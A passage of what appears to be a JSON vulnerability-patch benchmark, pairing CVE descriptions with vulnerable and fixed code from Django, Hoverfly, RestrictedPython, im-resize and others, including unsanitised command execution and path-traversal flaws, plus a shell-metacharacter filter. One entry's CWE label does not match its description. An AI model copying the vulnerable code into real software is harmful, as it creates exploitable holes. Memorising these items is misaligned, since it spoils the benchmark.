                "snippet": "    def get_available_name(self, name, max_length=None):\n        \"\"\"\n        Return a filename that's free on the target storage system and\n        available for new content to be written to.\n        \"\"\"\n        name = str(name).replace('\\\\', '/')\n        dir_name, file_name = os.path.split(name)\n        if '..' in pathlib.PurePath(dir_name).parts:\n            raise SuspiciousFileOperation(\"Detected path traversal attempt in '%s'\" % dir_name)\n        validate_file_name(file_name)\n        file_root, file_ext = os.path.splitext(file_name)\n        # If the filename already exists, add an underscore and a random 7\n        # character alphanumeric string (before the file extension, if one\n        # exists) to the filename until the generated filename doesn't exist.\n        # Truncate original name if required, so the new filename does not\n        # exceed the max_length.\n        while self.exists(name) or (max_length and len(name) > max_length):\n            # file_ext includes the dot.\n            name = os.path.join(dir_name, \"%s_%s%s\" % (file_root, get_random_string(7), file_ext))\n            if max_length is None:\n                continue\n            # Truncate file_root if max_length exceeded.\n            truncation = len(name) - max_length\n            if truncation > 0:\n                file_root = file_root[:-truncation]\n                # Entire file_root was truncated in attempt to find an available filename.\n                if not file_root:\n                    raise SuspiciousFileOperation(\n                        'Storage can not find an available filename for \"%s\". '\n                        'Please make sure that the corresponding file field '\n                        'allows sufficient \"max_length\".' % name\n                    )\n                name = os.path.join(dir_name, \"%s_%s%s\" % (file_root, get_random_string(7), file_ext))\n        return name"
            },
            {
                "id": "fix_py_11_3",
                "commit": "4cb35b3",
                "file_path": "django/core/files/storage.py",
                "start_line": 103,
                "end_line": 113,
                "snippet": "    def generate_filename(self, filename):\n        \"\"\"\n        Validate the filename by calling get_valid_name() and return a filename\n        to be passed to the save() method.\n        \"\"\"\n        filename = str(filename).replace('\\\\', '/')\n        # `filename` may include a path as returned by FileField.upload_to.\n        dirname, filename = os.path.split(filename)\n        if '..' in pathlib.PurePath(dirname).parts:\n            raise SuspiciousFileOperation(\"Detected path traversal attempt in '%s'\" % dirname)\n        return os.path.normpath(os.path.join(dirname, self.get_valid_name(filename)))"
            },
            {
                "id": "fix_py_11_4",
                "commit": "4cb35b3",
                "file_path": "django/core/files/storage.py",
                "start_line": 238,
                "end_line": 307,
                "snippet": "    def _save(self, name, content):\n        full_path = self.path(name)\n\n        # Create any intermediate directories that do not exist.\n        directory = os.path.dirname(full_path)\n        if not os.path.exists(directory):\n            try:\n                if self.directory_permissions_mode is not None:\n                    # Set the umask because os.makedirs() doesn't apply the \"mode\"\n                    # argument to intermediate-level directories.\n                    old_umask = os.umask(0o777 & ~self.directory_permissions_mode)\n                    try:\n                        os.makedirs(directory, self.directory_permissions_mode)\n                    finally:\n                        os.umask(old_umask)\n                else:\n                    os.makedirs(directory)\n            except FileExistsError:\n                # There's a race between os.path.exists() and os.makedirs().\n                # If os.makedirs() fails with FileExistsError, the directory\n                # was created concurrently.\n                pass\n        if not os.path.isdir(directory):\n            raise IOError(\"%s exists and is not a directory.\" % directory)\n\n        # There's a potential race condition between get_available_name and\n        # saving the file; it's possible that two threads might return the\n        # same name, at which point all sorts of fun happens. So we need to\n        # try to create the file, but if it already exists we have to go back\n        # to get_available_name() and try again.\n\n        while True:\n            try:\n                # This file has a file path that we can move.\n                if hasattr(content, 'temporary_file_path'):\n                    file_move_safe(content.temporary_file_path(), full_path)\n\n                # This is a normal uploadedfile that we can stream.\n                else:\n                    # The current umask value is masked out by os.open!\n                    fd = os.open(full_path, self.OS_OPEN_FLAGS, 0o666)\n                    _file = None\n                    try:\n                        locks.lock(fd, locks.LOCK_EX)\n                        for chunk in content.chunks():\n                            if _file is None:\n                                mode = 'wb' if isinstance(chunk, bytes) else 'wt'\n                                _file = os.fdopen(fd, mode)\n                            _file.write(chunk)\n                    finally:\n                        locks.unlock(fd)\n                        if _file is not None:\n                            _file.close()\n                        else:\n                            os.close(fd)\n            except FileExistsError:\n                # A new name is needed if the file exists.\n                name = self.get_available_name(name)\n                full_path = self.path(name)\n            else:\n                # OK, the file save worked. Break out of the loop.\n                break\n\n        if self.file_permissions_mode is not None:\n            os.chmod(full_path, self.file_permissions_mode)\n\n        # Ensure the saved path is always relative to the storage root.\n        name = os.path.relpath(full_path, self.location)\n        # Store filenames with forward slashes, even on Windows.\n        return name.replace('\\\\', '/')"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-45452"
    },
    {
        "cve_id": "CVE-2023-41039",
        "cve_description": "RestrictedPython is a restricted execution environment for Python to run untrusted code. Python's \"format\" functionality allows someone controlling the format string to \"read\" all objects accessible through recursive attribute lookup and subscription from objects he can access. This can lead to critical information disclosure. With `RestrictedPython`, the format functionality is available via the `format` and `format_map` methods of `str` (and `unicode`) (accessed either via the class or its instances) and via `string.Formatter`. All known versions of `RestrictedPython` are vulnerable. This issue has been addressed in commit `4134aedcff1` which has been included in the 5.4 and 6.2 releases. Users are advised to upgrade. There are no known workarounds for this vulnerability.",
        "cwe_info": {
            "CWE-74": {
                "name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')",
                "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/zopefoundation/RestrictedPython",
        "patch_url": [
            "https://github.com/zopefoundation/RestrictedPython/commit/4134aedcff17c977da7717693ed89ce56d54c120"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_64_1",
                "commit": "41a183d",
                "file_path": "src/RestrictedPython/Guards.py",
                "start_line": 242,
                "end_line": 257,
                "snippet": "def safer_getattr(object, name, default=None, getattr=getattr):\n    \"\"\"Getattr implementation which prevents using format on string objects.\n\n    format() is considered harmful:\n    http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/\n\n    \"\"\"\n    if isinstance(object, str) and name == 'format':\n        raise NotImplementedError(\n            'Using format() on a %s is not safe.' % object.__class__.__name__)\n    if name.startswith('_'):\n        raise AttributeError(\n            '\"{name}\" is an invalid attribute name because it '\n            'starts with \"_\"'.format(name=name)\n        )\n    return getattr(object, name, default)",
                "vul_localization": [
                    {
                        "patch_lines": [
                            8
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            10
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_py_64_2",
                "commit": "41a183d",
                "file_path": "src/RestrictedPython/Utilities.py",
                "start_line": 21,
                "end_line": 21,
                "snippet": "utility_builtins['string'] = string",
                "vul_localization": [
                    {
                        "patch_lines": [
                            1
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_64_1",
                "commit": "4134aedcff17c977da7717693ed89ce56d54c120",
                "file_path": "src/RestrictedPython/Guards.py",
                "start_line": 242,
                "end_line": 259,
                "snippet": "def safer_getattr(object, name, default=None, getattr=getattr):\n    \"\"\"Getattr implementation which prevents using format on string objects.\n\n    format() is considered harmful:\n    http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/\n\n    \"\"\"\n    if name in ('format', 'format_map') and (\n            isinstance(object, str) or\n            (isinstance(object, type) and issubclass(object, str))):\n        raise NotImplementedError(\n            'Using the format*() methods of `str` is not safe')\n    if name.startswith('_'):\n        raise AttributeError(\n            '\"{name}\" is an invalid attribute name because it '\n            'starts with \"_\"'.format(name=name)\n        )\n    return getattr(object, name, default)"
            },
            {
                "id": "fix_py_64_2",
                "commit": "4134aedcff17c977da7717693ed89ce56d54c120",
                "file_path": "src/RestrictedPython/Utilities.py",
                "start_line": 21,
                "end_line": 35,
                "snippet": "\nclass _AttributeDelegator:\n    def __init__(self, mod, *excludes):\n        \"\"\"delegate attribute lookups outside *excludes* to module *mod*.\"\"\"\n        self.__mod = mod\n        self.__excludes = excludes\n\n    def __getattr__(self, attr):\n        if attr in self.__excludes:\n            raise NotImplementedError(\n                f\"{self.__mod.__name__}.{attr} is not safe\")\n        return getattr(self.__mod, attr)\n\n\nutility_builtins['string'] = _AttributeDelegator(string, \"Formatter\")"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-41039"
    },
    {
        "cve_id": "CVE-2024-45388",
        "cve_description": "Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The `/api/v2/simulation` POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Users are advised to make sure the final path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) is contained within the expected base path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`). This issue is also tracked as GHSL-2023-274.",
        "cwe_info": {
            "CWE-200": {
                "name": "Exposure of Sensitive Information to an Unauthorized Actor",
                "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/SpectoLabs/hoverfly",
        "patch_url": [
            "https://github.com/SpectoLabs/hoverfly/commit/40f9b44"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_48_1",
                "commit": "4b6fa36",
                "file_path": "core/hoverfly_funcs.go",
                "start_line": 186,
                "end_line": 197,
                "snippet": "func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {\n\tif filepath.IsAbs(filePath) {\n\t\treturn \"\", fmt.Errorf(\"bodyFile contains absolute path (%s). only relative is supported\", filePath)\n\t}\n\n\tfileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(fileContents[:]), nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            6
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_48_1",
                "commit": "40f9b44",
                "file_path": "core/hoverfly_funcs.go",
                "start_line": 186,
                "end_line": 202,
                "snippet": "func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {\n\tif filepath.IsAbs(filePath) {\n\t\treturn \"\", fmt.Errorf(\"bodyFile contains absolute path (%s). only relative is supported\", filePath)\n\t}\n\n\tresolvedPath, err := util.ResolveAndValidatePath(hf.Cfg.ResponsesBodyFilesPath, filePath)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tfileContents, err := os.ReadFile(resolvedPath)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(fileContents[:]), nil\n}"
            },
            {
                "id": "fix_go_48_2",
                "commit": "40f9b44",
                "file_path": "core/util/util.go",
                "start_line": 522,
                "end_line": 548,
                "snippet": "func ResolveAndValidatePath(basePath, relativePath string) (string, error) {\n\tabsBasePath, err := filepath.Abs(basePath)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to get absolute base path: %v\", err)\n\t}\n\n\tcleanRelativePath := filepath.Clean(relativePath)\n\n\t// Check if the relative path starts with \"..\"\n\tif strings.HasPrefix(cleanRelativePath, \"..\") {\n\t\treturn \"\", fmt.Errorf(\"relative path is invalid as it attempts to backtrack\")\n\t}\n\n\tresolvedPath := filepath.Join(absBasePath, cleanRelativePath)\n\n\t// Verify that the resolved path is indeed a subpath of the base path\n\tfinalPath, err := filepath.Rel(absBasePath, resolvedPath)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to get relative path: %v\", err)\n\t}\n\n\tif strings.HasPrefix(finalPath, \"..\") {\n\t\treturn \"\", fmt.Errorf(\"resolved path is outside the base path\")\n\t}\n\n\treturn resolvedPath, nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-45388"
    },
    {
        "cve_id": "CVE-2021-31542",
        "cve_description": "Django's uploaded-file name handling is vulnerable to directory traversal when attacker-controlled filenames from multipart uploads or file objects are later used to construct storage paths. Components in the upload chain, including MultiPartParser, UploadedFile, FieldFile/FileField, and storage filename generation, must not allow crafted filenames to be interpreted as absolute paths, parent/current-directory components, empty basenames, or POSIX/Windows path-like names. An attacker who supplies such a filename in a file upload could cause the application or upload handler to expose an unsafe name or write a file outside the intended MEDIA_ROOT/upload/storage directory.",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/django/django",
        "patch_url": [
            "https://github.com/django/django/commit/04ac1624bdc2fa737188401757cf95ced122d26d",
            "https://github.com/django/django/commit/25d84d64122c15050a0ee739e859f22ddab5ac48",
            "https://github.com/django/django/commit/c98f446c188596d4ba6de71d1b77b4a6c5c2a007"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_3_1",
                "commit": "7f1b088",
                "file_path": "django/core/files/storage.py",
                "start_line": 63,
                "end_line": 92,
                "snippet": "    def get_available_name(self, name, max_length=None):\n        \"\"\"\n        Return a filename that's free on the target storage system and\n        available for new content to be written to.\n        \"\"\"\n        dir_name, file_name = os.path.split(name)\n        file_root, file_ext = os.path.splitext(file_name)\n        # If the filename already exists, add an underscore and a random 7\n        # character alphanumeric string (before the file extension, if one\n        # exists) to the filename until the generated filename doesn't exist.\n        # Truncate original name if required, so the new filename does not\n        # exceed the max_length.\n        while self.exists(name) or (max_length and len(name) > max_length):\n            # file_ext includes the dot.\n            name = os.path.join(dir_name, \"%s_%s%s\" % (file_root, get_random_string(7), file_ext))\n            if max_length is None:\n                continue\n            # Truncate file_root if max_length exceeded.\n            truncation = len(name) - max_length\n            if truncation > 0:\n                file_root = file_root[:-truncation]\n                # Entire file_root was truncated in attempt to find an available filename.\n                if not file_root:\n                    raise SuspiciousFileOperation(\n                        'Storage can not find an available filename for \"%s\". '\n                        'Please make sure that the corresponding file field '\n                        'allows sufficient \"max_length\".' % name\n                    )\n                name = os.path.join(dir_name, \"%s_%s%s\" % (file_root, get_random_string(7), file_ext))\n        return name",
                "vul_localization": [
                    {
                        "patch_lines": [
                            7
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_3_1",
                "commit": "04ac162",
                "file_path": "django/core/files/storage.py",
                "start_line": 65,
                "end_line": 97,
                "snippet": "    def get_available_name(self, name, max_length=None):\n        \"\"\"\n        Return a filename that's free on the target storage system and\n        available for new content to be written to.\n        \"\"\"\n        dir_name, file_name = os.path.split(name)\n        if '..' in pathlib.PurePath(dir_name).parts:\n            raise SuspiciousFileOperation(\"Detected path traversal attempt in '%s'\" % dir_name)\n        validate_file_name(file_name)\n        file_root, file_ext = os.path.splitext(file_name)\n        # If the filename already exists, add an underscore and a random 7\n        # character alphanumeric string (before the file extension, if one\n        # exists) to the filename until the generated filename doesn't exist.\n        # Truncate original name if required, so the new filename does not\n        # exceed the max_length.\n        while self.exists(name) or (max_length and len(name) > max_length):\n            # file_ext includes the dot.\n            name = os.path.join(dir_name, \"%s_%s%s\" % (file_root, get_random_string(7), file_ext))\n            if max_length is None:\n                continue\n            # Truncate file_root if max_length exceeded.\n            truncation = len(name) - max_length\n            if truncation > 0:\n                file_root = file_root[:-truncation]\n                # Entire file_root was truncated in attempt to find an available filename.\n                if not file_root:\n                    raise SuspiciousFileOperation(\n                        'Storage can not find an available filename for \"%s\". '\n                        'Please make sure that the corresponding file field '\n                        'allows sufficient \"max_length\".' % name\n                    )\n                name = os.path.join(dir_name, \"%s_%s%s\" % (file_root, get_random_string(7), file_ext))\n        return name"
            },
            {
                "id": "fix_py_3_2",
                "commit": "04ac162",
                "file_path": "django/core/files/utils.py",
                "start_line": 6,
                "end_line": 14,
                "snippet": "def validate_file_name(name):\n    if name != os.path.basename(name):\n        raise SuspiciousFileOperation(\"File name '%s' includes path elements\" % name)\n\n    # Remove potentially dangerous names\n    if name in {'', '.', '..'}:\n        raise SuspiciousFileOperation(\"Could not derive file name from '%s'\" % name)\n\n    return name"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-31542"
    },
    {
        "cve_id": "CVE-2022-24450",
        "cve_description": "NATS JetStream ordered consumers can stall when flow-control accounting does not request a new flow-control marker after a pending marker has already been created and subsequent queued messages exceed the outstanding flow-control window. Under this condition, a consumer may stop delivering all pending messages even though they were successfully published, leaving the ordered consumer with fewer pending messages than expected and causing delivery to stall.",
        "cwe_info": {
            "CWE-862": {
                "name": "Missing Authorization",
                "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."
            }
        },
        "repo": "https://github.com/nats-io/nats-server",
        "patch_url": [
            "https://github.com/nats-io/nats-server/commit/55b7f11"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_45_1",
                "commit": "664e8b9",
                "file_path": "server/consumer.go",
                "start_line": 2915,
                "end_line": 2925,
                "snippet": "func (o *consumer) needFlowControl() bool {\n\tif o.maxpb == 0 {\n\t\treturn false\n\t}\n\t// Decide whether to send a flow control message which we will need the user to respond.\n\t// We send when we are over 50% of our current window limit.\n\tif o.fcid == _EMPTY_ && o.pbytes > o.maxpb/2 {\n\t\treturn true\n\t}\n\treturn false\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            9
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_45_1",
                "commit": "55b7f11",
                "file_path": "server/consumer.go",
                "start_line": 2917,
                "end_line": 2931,
                "snippet": "func (o *consumer) needFlowControl(sz int) bool {\n\tif o.maxpb == 0 {\n\t\treturn false\n\t}\n\t// Decide whether to send a flow control message which we will need the user to respond.\n\t// We send when we are over 50% of our current window limit.\n\tif o.fcid == _EMPTY_ && o.pbytes > o.maxpb/2 {\n\t\treturn true\n\t}\n\t// If we have an existing outstanding FC, check to see if we need to expand the o.fcsz\n\tif o.fcid != _EMPTY_ && (o.pbytes-o.fcsz) >= o.maxpb {\n\t\to.fcsz += sz\n\t}\n\treturn false\n}"
            },
            {
                "id": "fix_go_45_2",
                "commit": "55b7f11",
                "file_path": "server/consumer.go",
                "start_line": 2846,
                "end_line": 2915,
                "snippet": "func (o *consumer) deliverMsg(dsubj, subj string, hdr, msg []byte, seq, dc uint64, ts int64) {\n\tif o.mset == nil {\n\t\treturn\n\t}\n\t// Update pending on first attempt. This can go upside down for a short bit, that is ok.\n\t// See adjustedPending().\n\tif dc == 1 {\n\t\to.sgap--\n\t}\n\n\tdseq := o.dseq\n\to.dseq++\n\n\t// If headers only do not send msg payload.\n\t// Add in msg size itself as header.\n\tif o.cfg.HeadersOnly {\n\t\tvar bb bytes.Buffer\n\t\tif len(hdr) == 0 {\n\t\t\tbb.WriteString(hdrLine)\n\t\t} else {\n\t\t\tbb.Write(hdr)\n\t\t\tbb.Truncate(len(hdr) - LEN_CR_LF)\n\t\t}\n\t\tbb.WriteString(JSMsgSize)\n\t\tbb.WriteString(\": \")\n\t\tbb.WriteString(strconv.FormatInt(int64(len(msg)), 10))\n\t\tbb.WriteString(CR_LF)\n\t\tbb.WriteString(CR_LF)\n\t\thdr = bb.Bytes()\n\t\t// Cancel msg payload\n\t\tmsg = nil\n\t}\n\n\tpmsg := newJSPubMsg(dsubj, subj, o.ackReply(seq, dseq, dc, ts, o.adjustedPending()), hdr, msg, o, seq)\n\tpsz := pmsg.size()\n\n\tif o.maxpb > 0 {\n\t\to.pbytes += psz\n\t}\n\n\tmset := o.mset\n\tap := o.cfg.AckPolicy\n\n\t// Send message.\n\to.outq.send(pmsg)\n\n\tif ap == AckExplicit || ap == AckAll {\n\t\to.trackPending(seq, dseq)\n\t} else if ap == AckNone {\n\t\to.adflr = dseq\n\t\to.asflr = seq\n\t}\n\n\t// Flow control.\n\tif o.maxpb > 0 && o.needFlowControl(psz) {\n\t\to.sendFlowControl()\n\t}\n\n\t// FIXME(dlc) - Capture errors?\n\to.updateDelivered(dseq, seq, dc, ts)\n\n\t// If we are ack none and mset is interest only we should make sure stream removes interest.\n\tif ap == AckNone && mset.cfg.Retention != LimitsPolicy {\n\t\tif o.node == nil || o.cfg.Direct {\n\t\t\tmset.ackq.push(seq)\n\t\t} else {\n\t\t\to.updateAcks(dseq, seq)\n\t\t}\n\t}\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-24450"
    },
    {
        "cve_id": "CVE-2020-28360",
        "cve_description": "The private-ip package exposes an isPrivate(ip) classifier that callers may use to decide whether a server-side request target is unsafe. Its current regular-expression-based checks do not reliably classify IPv4 destinations in private, reserved, or special-use address space, especially when the same destination is supplied through non-canonical decimal IPv4 spellings such as compact inet_aton-style forms or zero-padded decimal components. An attacker who can control an IP address or URL host that is checked with this package can use these reserved or special-use IPv4 destinations to bypass SSRF filtering and cause server-side requests to reach loopback, internal, link-local, shared, documentation, benchmarking, protocol-assignment, broadcast, or otherwise non-public network resources.",
        "cwe_info": {
            "CWE-918": {
                "name": "Server-Side Request Forgery (SSRF)",
                "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."
            }
        },
        "repo": "https://github.com/frenchbread/private-ip",
        "patch_url": [
            "https://github.com/frenchbread/private-ip/commit/840664c4b9ba7888c41cfee9666e9a593db133e9"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_1_1",
                "commit": "ce3d745",
                "file_path": "src/index.js",
                "start_line": 1,
                "end_line": 11,
                "snippet": "export default (ip) => (\n  /^(::f{4}:)?10\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(ip) ||\n  /^(::f{4}:)?192\\.168\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(ip) ||\n  /^(::f{4}:)?172\\.(1[6-9]|2\\d|30|31)\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(ip) ||\n  /^(::f{4}:)?127\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(ip) ||\n  /^(::f{4}:)?169\\.254\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(ip) ||\n  /^f[cd][0-9a-f]{2}:/i.test(ip) ||\n  /^fe80:/i.test(ip) ||\n  /^::1$/.test(ip) ||\n  /^::$/.test(ip)\n)",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2,
                            3,
                            4,
                            5,
                            6,
                            7,
                            8,
                            9,
                            10
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_1_1",
                "commit": "840664c",
                "file_path": "src/index.js",
                "start_line": 1,
                "end_line": 33,
                "snippet": "var Netmask = require('netmask').Netmask\nfunction netmaskCheck (params) {\n  let privateRanges = [\n    '0.0.0.0/8',\n    '10.0.0.0/8',\n    '100.64.0.0/10',\n    '127.0.0.0/8',\n    '169.254.0.0/16',\n    '172.16.0.0/12',\n    '192.0.0.0/24',\n    '192.0.0.0/29',\n    '192.0.0.8/32',\n    '192.0.0.9/32',\n    '192.0.0.10/32',\n    '192.0.0.170/32',\n    '192.0.0.171/32',\n    '192.0.2.0/24',\n    '192.31.196.0/24',\n    '192.52.193.0/24',\n    '192.88.99.0/24',\n    '192.168.0.0/16',\n    '192.175.48.0/24',\n    '198.18.0.0/15',\n    '198.51.100.0/24',\n    '203.0.113.0/24',\n    '240.0.0.0/4',\n    '255.255.255.255/32'\n  ].map(b => new Netmask(b))\n  for (let r of privateRanges) {\n    if (r.contains(params)) return true\n  }\n  return false\n}"
            },
            {
                "id": "fix_js_1_2",
                "commit": "840664c",
                "file_path": "src/index.js",
                "start_line": 35,
                "end_line": 37,
                "snippet": "export default (ip) => (\n  netmaskCheck(ip)\n)"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-28360"
    },
    {
        "cve_id": "CVE-2019-10787",
        "cve_description": "im-resize through 2.3.2 allows remote attackers to execute arbitrary commands via the \"exec\" argument. The cmd argument used within index.js, can be controlled by user without any sanitization.",
        "cwe_info": {
            "CWE-94": {
                "name": "Improper Control of Generation of Code ('Code Injection')",
                "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
            },
            "CWE-77": {
                "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')",
                "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."
            },
            "CWE-78": {
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
                "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/Turistforeningen/node-im-resize",
        "patch_url": [
            "https://github.com/Turistforeningen/node-im-resize/commit/de624dacf6a50e39fe3472af1414d44937ce1f03"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_7_1",
                "commit": "499fe82",
                "file_path": "index.js",
                "start_line": 9,
                "end_line": 17,
                "snippet": "module.exports = function(image, output, cb) {\n  var cmd = module.exports.cmd(image, output);\n  exec(cmd, {timeout: 30000}, function(e, stdout, stderr) {\n    if (e) { return cb(e); }\n    if (stderr) { return cb(new Error(stderr)); }\n\n    return cb(null, output.versions);\n  });\n};",
                "vul_localization": [
                    {
                        "patch_lines": [
                            1
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_7_1",
                "commit": "de624da",
                "file_path": "index.js",
                "start_line": 9,
                "end_line": 21,
                "snippet": "module.exports = function(image, output, cb) {\n  if(/;|&|`|\\$|\\(|\\)|\\|\\||\\||!|>|<|\\?|\\${/g.test(JSON.stringify(image))) {\n    console.log('Input Validation failed, Suspicious Characters found');\n  } else {\n  var cmd = module.exports.cmd(image, output);\n  exec(cmd, {timeout: 30000}, function(e, stdout, stderr) {\n    if (e) { return cb(e); }\n    if (stderr) { return cb(new Error(stderr)); }\n\n    return cb(null, output.versions);\n  });\n}\n};"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2019-10787"
    },
    {
        "cve_id": "CVE-2024-52010",
        "cve_description": "Zoraxy is a general purpose HTTP reverse proxy and forwarding tool. A command injection vulnerability in the Web SSH feature allows an authenticated attacker to execute arbitrary commands as root on the host. Zoraxy has a Web SSH terminal feature that allows authenticated users to connect to SSH servers from their browsers. In HandleCreateProxySession the request to create an SSH session is handled. An attacker can exploit the username variable to escape from the bash command and inject arbitrary commands into sshCommand. This is possible, because, unlike hostname and port, the username is not validated or sanitized.",
        "cwe_info": {
            "CWE-94": {
                "name": "Improper Control of Generation of Code ('Code Injection')",
                "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
            },
            "CWE-77": {
                "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')",
                "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."
            },
            "CWE-78": {
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
                "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/tobychui/zoraxy",
        "patch_url": [
            "https://github.com/tobychui/zoraxy/commit/2e9bc77a5d832bff1093058d42ce7a61382e4bc6",
            "https://github.com/tobychui/zoraxy/commit/c07d5f85dfc37bd32819358ed7d4bc32c604e8f0"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_32_1",
                "commit": "e79a70b",
                "file_path": "src/mod/sshprox/sshprox.go",
                "start_line": 165,
                "end_line": 203,
